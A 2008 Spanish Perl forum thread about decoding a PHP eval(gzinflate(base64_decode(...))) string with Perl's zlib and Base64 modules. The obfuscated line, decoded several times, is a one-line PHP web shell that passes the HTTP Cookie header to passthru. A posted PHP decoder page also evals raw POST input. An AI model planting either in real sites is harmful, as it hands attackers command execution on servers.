• Publicidad

Gzip y Base64

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Notapor Zeokat » 2008-01-03 07:23 @349

Ahí dejo el código en PHP con el code:

Sintáxis: [ Descargar ] [ Ocultar ]
Using php Syntax Highlighting
<? eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA=='))); ?>
Coloreado en 0.022 segundos, usando GeSHi 1.0.8.4


:roll:
Zeokat
Perlero nuevo
Perlero nuevo
 
Mensajes: 125
Registrado: 2006-08-22 08:08 @380

Publicidad

Notapor explorer » 2008-01-03 11:16 @511

Mira este programa:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl
use Compress::Zlib;
use MIME::Base64;

my $mensaje_original = 'Hola. ¿Qué tal estás?';
my $code = encode_base64(Compress::Zlib::memGzip($mensaje_original),'');

print "$code\n"; # imprime H4sIAAAAAAAA//PIz0nUUzi0P7D08EqFksQchdTiksMLi+0BvCTjCBgAAAA=
print Compress::Zlib::memGunzip(decode_base64($code)), "\n";

# prueba
$code = 's7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==';
print Compress::Zlib::memGunzip(decode_base64($code)), "\n";
Coloreado en 0.003 segundos, usando GeSHi 1.0.8.4


No sé si habrás puesto bien la cadena codificada, pero a mi no me sale nada de nada. En cambio funciona bien la primera prueba.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Zeokat » 2008-01-03 12:48 @575

La cadena está bien 100% seguro... de hecho lo comprobé, encontré por ahí un script pero en PHP:

Sintáxis: [ Descargar ] [ Ocultar ]
Using php Syntax Highlighting
<html>
<head>
<title>PHP Tool & Code to Decode - eval gzinflate base64_decode</title>
</head>
<body><h1>eval gzinflate base64_decode Decoder PHP Code</h1>
<form id="form1" name="form1" method="post" action="decrypt.php">
   <textarea name="coded" cols="60" rows="8" id="coded"></textarea>
   <input type="submit" name="Submit" value="Decode" />
</form>
<?php
$contents=stripslashes($_POST["coded"]);
if(trim($contents)!="")
{
   while (preg_match("/eval\(gzinflate/",$contents))
   {
      $contents=preg_replace("/<\?|\?>/", "", $contents);
      eval(preg_replace("/eval/", "\$contents=", $contents));
   
   }
?>
<BR/>
   <textarea name="decoded" cols="60" rows="8" id="decoded"><? echo $contents?></textarea>\
<?
}
?>
</body>
</html>
Coloreado en 0.011 segundos, usando GeSHi 1.0.8.4


Y si hago el decode a mi code me da el siguiente código PHP:
Sintáxis: [ Descargar ] [ Ocultar ]
Using php Syntax Highlighting
<?php {@passthru(getenv("HTTP_COOKIE"));} ?>
Coloreado en 0.011 segundos, usando GeSHi 1.0.8.4


Pero si con ese mismo script trato de hacer el decode al code de tu prueba me da error... no sé... pero me da a mi que solo puede con php :oops:
Zeokat
Perlero nuevo
Perlero nuevo
 
Mensajes: 125
Registrado: 2006-08-22 08:08 @380

Notapor explorer » 2008-01-03 14:23 @641

Esto es lo que pasa...

Según uno de los mensajes de los usuarios de la página gzdeflate en php.net, hay distintas funciones para la descomprensión:
Código: Seleccionar todo
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding


Es decir, si estás usando en PHP la función gzinflate() quiere decir que estás usando el modo *raw* de compresión.

Por lo tanto, no podemos usar Compress::Zlib, sino Compress::Raw::Zlib.

Bien, usando ese nuevo módulo, obtengo una salida de unos 50 bytes que es muy parecida a la que obtengo a partir del code original... pero... pero... a la hora de hacer el deflate, no sale nada...

Me dice que ese stream tiene un error.

Si saco lo decodificado por el base64, sale esto:
Código: Seleccionar todo
explorer@dhcppc69:~/Documents/Desarrollo> hexdump -C kk2.gz
00000000  b3 b7 b3 b1 2f c8 28 50  a8 76 28 48 2c 2e 2e c9  |..../.(P.v(H,...|
00000010  28 2a d5 48 4f 2d 49 cd  2b d3 50 f2 08 09 09 88  |(*.HO-I.+.P.....|
00000020  77 f6 f7 f7 f6 74 55 d2  d4 b4 ae 55 b0 07 aa 05  |w....tU....U....|
00000030  00                                                |.|
00000031

que es muy parecido a lo generado por el code original:
Código: Seleccionar todo
explorer@dhcppc69:~/Documents/Desarrollo> hexdump -C kk.gz
00000000  b3 b1 2f c8 28 50 a8 76  28 48 2c 2e 2e c9 28 2a  |../.(P.v(H,...(*|
00000010  d5 48 4f 2d 49 cd 2b d3  50 f2 08 09 09 88 77 f6  |.HO-I.+.P.....w.|
00000020  f7 f7 f6 74 55 d2 d4 b4  ae 55 b0 b7 03 00 59 be  |...tU....U....Y.|
00000030  0e 36                                             |.6|
00000032

pero no... a la hora de intentar descomprimir ese flujo, falla.

Así que eso es lo que pasa: que hasta el último momento no hemos sabido que ese stream de bytes NO era un fichero gzip, sino un flujo (stream) crudo (raw) de zlib. Cosas muy distintas.

Si ejecuto este programa:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl
use MIME::Base64;
use Compress::Raw::Zlib;

$input = '<?php {@passthru(getenv("HTTP_COOKIE"));} ?>';

$x = new Compress::Raw::Zlib::Deflate;
$status = $x->deflate($input, $output);
$status = $x->flush($output);
print encode_base64($output);
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
me sale
Código: Seleccionar todo
s7EvyChQqHYoSCwuLskoKtVITy1JzSvTUPIICQmId/b39/Z0VdLUtK5VsLcDAFm+DjY=
que es ligeramente diferente al que has mostrado.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Zeokat » 2008-01-03 14:52 @661

Entiendo que lo mejor es hacer en PHP:

Sintáxis: [ Descargar ] [ Ocultar ]
Using php Syntax Highlighting
<? echo(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA=='))); ?>
Coloreado en 0.012 segundos, usando GeSHi 1.0.8.4


Y ¡hala! ahí lo tenemos ya decode.
Zeokat
Perlero nuevo
Perlero nuevo
 
Mensajes: 125
Registrado: 2006-08-22 08:08 @380

Notapor creating021 » 2008-01-03 16:14 @718

Zeokat escribiste:Entiendo q lo mejor es hacer en php:

Sintáxis: [ Descargar ] [ Ocultar ]
Using php Syntax Highlighting
<? echo(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA=='))); ?>
Coloreado en 0.009 segundos, usando GeSHi 1.0.8.4


Y ala ahi lo tenemos ya decode.


No hombre, lo que pasa es que se está usando los módulos que no son:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
use strict;
use MIME::Base64;
use IO::Uncompress::AnyInflate qw(anyinflate);
my $code  = 's7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==';
my $input = decode_base64( $code );
my $output;

my $status = anyinflate \$input => \$output;

print $output, "\n";
 
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
Expect the worst, is it the least you can do?
Avatar de Usuario
creating021
Perlero frecuente
Perlero frecuente
 
Mensajes: 595
Registrado: 2006-02-23 16:17 @720
Ubicación: Frente al monitor

Conseguido!

Notapor explorer » 2008-01-03 18:27 @810

creating021 se me ha adelantado en la publicación de la solución, pero he aquí la mía, basada en Compress::Raw::Zlib (es decir, con menos dependencias que con IO::Uncompress::AnyInflate).

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl
use MIME::Base64;
use Compress::Raw::Zlib;

$code   = 's7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==';
$i      = Compress::Raw::Zlib::Inflate->new( {-Bufsize => 1, -WindowBits => -&MAX_WBITS} );
$input  = decode_base64($code);
$status = $i->inflate($input, $output);

print "$output\n"; # imprime '?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?'
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Aunque, desde luego, el uso de IO::Uncompress::AnyInflate es mejor porque es él el que decide el formato de lo que se quiere decodificar. Depende de más módulos, pero te permite hacer más cosas y más formas.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Zeokat » 2008-01-03 19:24 @850

Muchas gracias los dos por las soluciones, funcionan perfecto!

Gracias!
Zeokat
Perlero nuevo
Perlero nuevo
 
Mensajes: 125
Registrado: 2006-08-22 08:08 @380

Anterior

Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 6 invitados